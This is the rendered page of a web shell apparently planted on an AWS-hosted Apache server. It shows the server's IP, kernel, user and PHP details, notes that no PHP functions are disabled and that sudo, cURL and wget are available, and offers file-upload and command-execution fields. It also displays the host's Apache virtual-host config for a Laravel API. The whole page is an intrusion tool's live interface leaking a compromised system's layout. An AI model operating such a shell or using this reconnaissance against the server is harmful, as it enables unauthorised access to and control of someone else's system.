403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/apache2/sites-enabled/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/apache2/sites-enabled/splitstream-api.conf
# /etc/apache2/sites-available/splitstream-api.conf
#
# api.splitstream.philiprehberger.com — Laravel + Filament admin served via
# Apache → php8.3-fpm (over /run/php/php-fpm.sock); Octane (RoadRunner) at
# 127.0.0.1:8000 carve-out for /v1/assign{,/batch}, /v1/events{,/batch},
# /v1/exposures.
#
# EC2 host runs Apache MPM event + php8.3-fpm (the topology refresh on
# 2026-06-11 removed mod_php). Apache's global FPM proxy at
# /etc/apache2/conf-enabled/php8.3-fpm.conf routes .php to the socket — no
# per-vhost handler config required. The Octane carve-out still earns its
# keep on the hot path; FPM handles low-volume management + Filament.

<VirtualHost *:80>
    ServerName api.splitstream.philiprehberger.com
    DocumentRoot /var/www/splitstream/current/public

    # Hot-path carve-out — proxy to Octane (RoadRunner). These come BEFORE
    # the global FPM proxy so the regex match wins for these paths.
    ProxyPreserveHost On
    ProxyRequests Off
    ProxyPass        /v1/assign        http://127.0.0.1:8000/v1/assign
    ProxyPassReverse /v1/assign        http://127.0.0.1:8000/v1/assign
    ProxyPass        /v1/assign/batch  http://127.0.0.1:8000/v1/assign/batch
    ProxyPassReverse /v1/assign/batch  http://127.0.0.1:8000/v1/assign/batch
    ProxyPass        /v1/events        http://127.0.0.1:8000/v1/events
    ProxyPassReverse /v1/events        http://127.0.0.1:8000/v1/events
    ProxyPass        /v1/events/batch  http://127.0.0.1:8000/v1/events/batch
    ProxyPassReverse /v1/events/batch  http://127.0.0.1:8000/v1/events/batch
    ProxyPass        /v1/exposures     http://127.0.0.1:8000/v1/exposures
    ProxyPassReverse /v1/exposures     http://127.0.0.1:8000/v1/exposures

    # Everything else: php8.3-fpm via the global FPM proxy hits Laravel's
    # public/index.php (Apache's mod_proxy_fcgi handles the FastCGI hop).
    <Directory /var/www/splitstream/current/public>
        Options -Indexes +FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/splitstream-api-error.log
    CustomLog ${APACHE_LOG_DIR}/splitstream-api-access.log combined
RewriteEngine on
RewriteCond %{SERVER_NAME} =api.splitstream.philiprehberger.com
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>

Youez - 2016 - github.com/yon3zu
LinuXploit